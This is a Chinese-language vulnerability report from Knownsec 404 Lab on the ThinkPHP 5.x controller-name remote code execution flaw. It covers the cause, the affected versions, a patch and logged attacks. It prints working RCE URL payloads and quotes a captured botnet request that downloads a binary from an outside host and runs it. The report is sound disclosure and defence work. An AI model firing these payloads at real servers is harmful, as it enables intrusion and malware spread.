作者:知道創宇404實驗室
時間:2018年12月19日

英文版本:http://www.bjnorthway.com/979/

0x00 背景

2018年12月10日,ThinkPHP 官方發布《ThinkPHP 5.* 版本安全更新》,修復了一個遠程代碼執行漏洞。由于 ThinkPHP 框架對控制器名沒有進行足夠的檢測,導致攻擊者可能可以實現遠程代碼執行。

知道創宇404實驗室漏洞情報團隊第一時間開始漏洞應急,復現了該漏洞,并進行深入分析。經過一系列測試和源碼分析,最終確定漏洞影響版本為:

  • ThinkPHP 5.0.5-5.0.22
  • ThinkPHP 5.1.0-5.1.30

在漏洞曝光后的第一時間,知道創宇404實驗室積極防御團隊積極排查知道創宇云安全的相關日志,發現該漏洞最早從 2018年9月開始,尚處于 0day 階段時就已經被用于攻擊多個虛擬貨幣類、金融類網站。

在漏洞披露后的一周時間內,404實驗室內部蜜罐項目也多次捕獲到利用該漏洞進行攻擊的案例,可以看到該漏洞曝光后短短8天就被僵尸網絡整合到惡意樣本中,并可以通過蠕蟲的方式在互聯網中傳播。

由于該漏洞觸發方式簡單、危害巨大,知道創宇404實驗室在研究漏洞原理后,整理攻擊事件,最終發布該漏洞事件報告。

0x01 漏洞分析

1.1 漏洞成因

該漏洞出現的原因在于ThinkPHP5框架底層對控制器名過濾不嚴,從而讓攻擊者可以通過url調用到ThinkPHP框架內部的敏感函數,進而導致getshell漏洞,本文以ThinkPHP5.0.22為例進行分析。

通過查看手冊可以得知tp5支持多種路由定義方式:

https://www.kancloud.cn/manual/thinkphp5/118037

這里值得注意的地方有兩個,一個是路由定義方式4,tp5可以將請求路由到指定類的指定方法(必須是public方法)中;另一個是即使沒有定義路由,tp5默認會按照方式1對URL進行解析調度。

然后來看一下具體的代碼實現:

thinkphp/library/think/App.php

由于沒有在配置文件定義任何路由,所以默認按照方式1解析調度。如果開啟強制路由模式,會直接拋出錯誤。

thinkphp/library/think/Route.php

可以看到tp5在解析URL的時候只是將URL按分割符分割,并沒有進行安全檢測。繼續往后跟:

thinkphp/library/think/App.php

在攻擊時注意使用一個已存在的module,否則會拋出異常,無法繼續運行。

此處在獲取控制器名時直接從之前的解析結果中獲取,無任何安全檢查。

在這里對控制器類進行實例化,跟進去看一下:

thinkphp/library/think/Loader.php

根據傳入的name獲取對應的類,如果存在就直接返回這個類的一個實例化對象。

跟進getModuleAndClass方法:

可以看到如果控制器名中有\,就直接返回。

回到thinkphp/library/think/App.phpmodule方法,正常情況下應該獲取到對應控制器類的實例化對象,而我們現在得到了一個\think\App的實例化對象,進而通過url調用其任意的public方法,同時解析url中的額外參數,當作方法的參數傳入。

1.2 漏洞影響版本

在與小伙伴做測試的時候,意外發現5.0.5版本使用現有的payload不生效,會報控制器不存在的錯誤。跟進代碼之后發現了一些小問題,下面是ThinkPHP 5.0.5thinkphp/library/think/Loader.phpcontroller方法:

以payload?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id為例,我們將控制器名設置為\think\appstrpos返回了0,由于php弱類型問題,無法進入407行的判斷,導致payload無效。這里可以將第一個\去掉來使payload生效,payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

繼續查看ThinkPHP5.0.0-5.0.4的相關代碼,發現5.0.0-5.0.4版本并沒有對控制器名中有\的情況進行特殊處理,payload無法生效。

以下是thinkphp 5.0.4thinkphp/library/think/Loader.php的相關代碼:

可以看到沒有進行特殊處理,會統一進入parseClass進行統一處理。

過濾掉了/ .,并且在最后會在前面拼接上控制器類的namespace,導致payload無法生效。從而最終確定ThinkPHP5.0受影響的版本為5.0.5-5.0.22

1.3 漏洞防御

  1. 升級到Thinkphp最新版本:5.0.23、5.0.31

  2. 養成良好的開發習慣,使用強制路由模式,但不建議在線上環境直接開啟該模式。

  3. 直接添加補丁,在thinkphp5.0版本的thinkphp/library/think/App.php554行,thinkphp5.1版本的thinkphp/library/think/route/dispatch/Url.php63行添加如下代碼:

   if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
       throw new HttpException(404, 'controller not exists:' . $controller);
   }

0x02 實際攻擊分析

知道創宇404積極防御團隊通過知道創宇旗下云防御產品“創宇盾”最早于2018年9月3日捕獲該漏洞的payload,隨后針對這個漏洞的攻擊情況做了詳細的監控及跟進:

2.1 0day在野

在官方發布更新前,在知道創宇云安全的日志中共檢測到62次漏洞利用請求,以下是對部分攻擊事件的分析。

2018年9月3日,ip 58.49.*.*(湖北武漢)對某網站發起攻擊,使用的payload如下:

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=1.php&vars[1][]=<?php phpinfo();?>

這是一個日后被廣泛利用的payload,通過調用file_put_contents將php代碼寫入文件來驗證漏洞是否存在。

2018年10月16日,該ip又對另一網站進行攻擊,此次攻擊使用的payload如下:

/?s=index/\think\container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

此payload針對Thinkphp 5.1.x,直接調用phpinfo,簡化了漏洞驗證流程。值得一提的是,該ip是日志中唯一一個在不同日期發起攻擊的ip。

2018年10月6日,ip 172.111.*.*(奧地利)對多個虛擬幣類網站發起攻擊,payload均是調用file_put_contents寫入文件以驗證漏洞是否存在:

/index.php/?s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=readme.txt&vars%5B1%5D%5B%5D=1

2018年12月9日,ip 45.32.*.*(美國)對多個投資金融類網站發起攻擊,payload都是調用phpinfo來進行漏洞驗證:

/?s=admin/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

2.2 0day曝光后

在官方發布安全更新后,知道創宇404實驗室成功復現了漏洞,并更新了WAF防護策略。與此同時,攻擊數量激增,漏洞被廣泛利用。在官方發布安全更新的8天時間里(2018/12/09 - 2018/12/17),共有5570個IP對486962個網站發起2566078次攻擊。

與此同時,404實驗室內部蜜罐項目從漏洞披露后三天(12月13日)開始,捕獲到對該漏洞的探測,在如下幾個目錄進行探測:

/TP/public/index.php 
/TP/index.php 
/thinkphp/html/public/index.php  
/thinkphp/public/index.php 
/html/public/index.php 
/public/index.php 
/index.php 
/TP/html/public/index.php

使用的探測拼接參數為:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP 

12月18日,已有僵尸網絡將該漏洞exp整合到惡意樣本中,在互聯網上傳播。捕獲的攻擊流量為:

GET /index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars1=wget%20http://cnc.arm7plz.xyz/bins/set.x86%20-O%20/tmp/.eSeAlg;%20chmod%20777%20/tmp/.eSeAlg;%20/tmp/.eSeAlg%20thinkphp HTTP/1.1

經過簡單分析,該樣本使用 CVE-2017-17215 、CNVD-2014-01260 和 ThinkPHP5 遠程代碼執行漏洞進行傳播。

0x03 小結

此漏洞是繼ECShop代碼執行漏洞之后,又一次經典的0day漏洞挖掘利用過程。從漏洞剛被挖掘出來時的試探性攻擊,到之后有目的、有針對性地攻擊虛擬幣類、投資金融類的網站,最后到漏洞曝光后的大規模批量性攻擊,成為黑產和僵尸網絡的工具,給我們展示了一條完整的0day漏洞生命線。由于ThinkPHP是一個開發框架,有大量cms、私人網站在其基礎上進行開發,所以該漏洞的影響可能比我們看到的更加深遠。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/770/